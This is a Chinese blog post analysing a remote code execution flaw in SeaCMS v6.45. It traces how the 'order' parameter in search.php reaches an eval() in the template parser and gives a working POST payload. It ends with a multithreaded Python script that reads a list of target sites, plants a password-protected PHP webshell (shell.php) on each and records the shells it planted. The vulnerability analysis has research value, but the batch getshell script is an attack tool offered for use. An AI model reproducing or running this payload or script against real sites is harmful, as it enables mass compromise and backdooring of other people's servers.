SeaCMS v6.45前台Getshell 代码执行漏洞(每日一洞)
前言
昨晚审计到了三点,今天还要整理宿舍就没有写文章。这个CMS没有用框架,漏洞的执行过程我看了很久才看完,下面就写漏洞执行过程和POC构造还有用Python编写批量Getshell脚本。
环境
Web: phpstudy System: Windows 10 X64 Browser: Firefox Quantum Python version : 2.7
漏洞代码执行过程分析
先看一下这个代码是一个怎么执行的吧,我画了一个流程图,有点简陋,不过如果真的要深入了解一定要亲自去看一遍代码才行。

漏洞详情
漏洞代码执行
Payload代码
http://seacms.test/search.php
POST:searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
执行结果

分析过程
- 漏洞的触发点是在
search.php中的echoSearchPage()函数可以触发漏洞。常规的分析都是先找GET、POST的位置,在这个文件里面没有这些变量,原来是在./include/common.php里面。
if(PHP_VERSION < '4.1.0') { $_GET = &$HTTP_GET_VARS; $_POST = &$HTTP_POST_VARS; $_COOKIE = &$HTTP_COOKIE_VARS; $_SERVER = &$HTTP_SERVER_VARS; $_ENV = &$HTTP_ENV_VARS; $_FILES = &$HTTP_POST_FILES;}......foreach(Array('_GET','_POST','_COOKIE') as $_request){ foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);}所以Payload用GET还是POST都是可以的。
- 由于代码太多就例举主要的代码段分析,继续回到
search.php里面的echoSearchPage()函数。 第一句是把这些变量设置为全局变量,方便下面来传值。 第二句是判断$order是否为空,如果为空就把time赋值给$order。
global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost; $order = !empty($order)?$order:time;- 这段是
Payload的里面一个重要的参数$searchtype的代码,一定要赋值5,可以到看到等于5的时候就有$order变量,所以我们要传$order进去就赋值5,至于为什么要赋值给$order,先跟着代码执行下去自然就会明白了。 这里还有一个点,就是第四行的$pSize这里是选择模版文件,就是为了接下来使用str_replace函数对这个模版文件的内容进行替换。 替换内容的文件在\data\cache里面,下面是文件的位置。
if(intval($searchtype)==5) { $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html"; $typeStr = !empty($tid)?intval($tid).'_':'0_'; $yearStr = !empty($year)?PinYin($year).'_':'0_'; $letterStr = !empty($letter)?$letter.'_':'0_'; $areaStr = !empty($area)?PinYin($area).'_':'0_'; $orderStr = !empty($order)?$order.'_':'0_'; $jqStr = !empty($jq)?$jq.'_':'0_'; $cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr; $pSize = getPageSizeOnCache($searchTemplatePath,"cascade",""); }else { if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time); $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html"; $cacheName="parse_search_"; $pSize = getPageSizeOnCache($searchTemplatePath,"search",""); }。。。。。。。中间有很多代码就不一一分析中间的了。 $content = str_replace("{searchpage:page}",$page,$content); $content = str_replace("{seacms:searchword}",$searchword,$content); $content = str_replace("{seacms:searchnum}",$TotalResult,$content); $content = str_replace("{searchpage:ordername}",$order,$content);- 来到这里了,离构造POC又进一步了。我们只要的是看
parseIf这个函数,在此之前我们可以先用echo来输出一下$content的内容,下面是对比图:


$content=$mainClassObj->parseIf($content); $content=str_replace("{seacms:member}",front_member(),$content); $searchPageStr = $content; echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;- 下面我们继续跟进
parseIf这个函数,代码我就贴执行代码漏洞的地方。代码中用到一些不懂函数可以去PHP官网或者百度Google一下。$labelRule*这些变量都是规则,preg_match_all函数就用到了第一个规则{if:(.*?)}(.*?){end if}。 有很多新手估计要看很久才能看得懂这段正则,我在这里稍微解释一下,{if:(.?)}(.?){end if},除了加粗部分是一定要符合{if:}{end if},中间的(.*?)是用了贪婪的模式,它把匹配到的赋值到一个数组$iar里面,大家可以输入一下这个数组:
大家发现了吗,变量$order的值也在里面,所以我们为什么要用order这个函数写入要执行的代码了。 来看这一句if (strpos($strThen,$labelRule2)===false){判断strpos返回是否为假就执行下面的代码,我们来输出下$strThen到底有没有这个$labelRule2变量的内容。
可以看到是没有的,所以会执行下面的代码,if (strpos($strThen,$labelRule3)>=0){这个判断从上面输出就可以看到有这个内容,所以为真执行下面的代码。 下面三句代码就不用看了,因为重要的是
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");里面的$strIf变量也就是数组$iar[1]数组$iar[1]里面的内容。我们继续输出一下这个数组里面的内容。
这里可以看出eval执行的变量是$strIf,而$strIf又有$order,所以这里又再一次解释为什么要用order参数
function parseIf($content){ if (strpos($content,'{if:')=== false){ return $content; }else{ $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is"); $labelRule2="{elseif"; $labelRule3="{else}"; preg_match_all($labelRule,$content,$iar); $arlen=count($iar[0]); $elseIfFlag=false; for($m=0;$m<$arlen;$m++){ $strIf=$iar[1][$m]; $strIf=$this->parseStrIf($strIf); $strThen=$iar[2][$m]; $strThen=$this->parseSubIf($strThen); if (strpos($strThen,$labelRule2)===false){ if (strpos($strThen,$labelRule3)>=0){ $elsearray=explode($labelRule3,$strThen); $strThen1=$elsearray[0]; $strElse1=$elsearray[1]; @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");构造POC
又到构造POC这一步骤了,经过上面的分析,我们可以很清晰地构造出POC了。
{if:"{searchpage:ordername}"=="time"}替换模版文件里面内容
{if:(.*?)}(.*?){end if}匹配规则
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}")代码执行
我们传入的order要放在{searchpage:ordername}这里,所以我们要闭合前面的标签,}{end if}这句就可以闭合前面的标签, 为什么要闭合,因为程序的{if:}{end if}也是会解析成PHP的代码,如果不闭合就会出错不执行我们的代码。
过了这一关后,就到匹配规则了,只要符合{if:}{end if}就行了。我们要在{if:(.*?)}里面的(.*?)才会传入$strIf变量,继续看下面。
最后一关就是闭合if(".$strIf."),加入这一句1)phpinfo();if(1就OK了
代码执行的结果就是@eval("if(1)phpinfo();if(1){\$ifFlag=true;}else{\$ifFlag=false;}")
所以我们的POC就是}{end if} {if:1)phpinfo();if(1}{end if}
用Python编写批量Getshell脚本
用了多线程,可以指定单目标或者批量。

'''author:F0rmat'''
import sysimport requestsimport threadingdef exploit(target): if sys.argv[1]== "-f": target=target[0] url=target+"/search.php" payload = {"searchtype":5,"order":"}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}","func":"assert","cmd":"fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"} shell = target+'/shell.php' try: r=requests.post(url,data=payload) verify = requests.get(shell, timeout=3) if "f0rmat" in verify.content: print 'Write success,shell url:',shell,'pass:f0rmat' with open("success.txt","a+") as f: f.write(shell+' pass:f0rmat'+"\n") else: print target,'Write failure!' except Exception, e: print edef main(): if len(sys.argv)<3: print 'python check_order.py.py -h target/-f target-file' else: if sys.argv[1] == "-h": exploit(sys.argv[2]) elif sys.argv[1] == "-f": with open(sys.argv[2], "r") as f: b = f.readlines() for i in xrange(len(b)): if not b[i] == "\n": threading.Thread(target=exploit, args=(b[i].split(),)).start()
if __name__ == '__main__': main()结束
审计这个洞,真的累,可能就是因为太菜了吧,哈哈。
参考
源码下载地址:https://pan.lanzou.com/i0l0leb
http://blog.csdn.net/pygain/article/details/56016227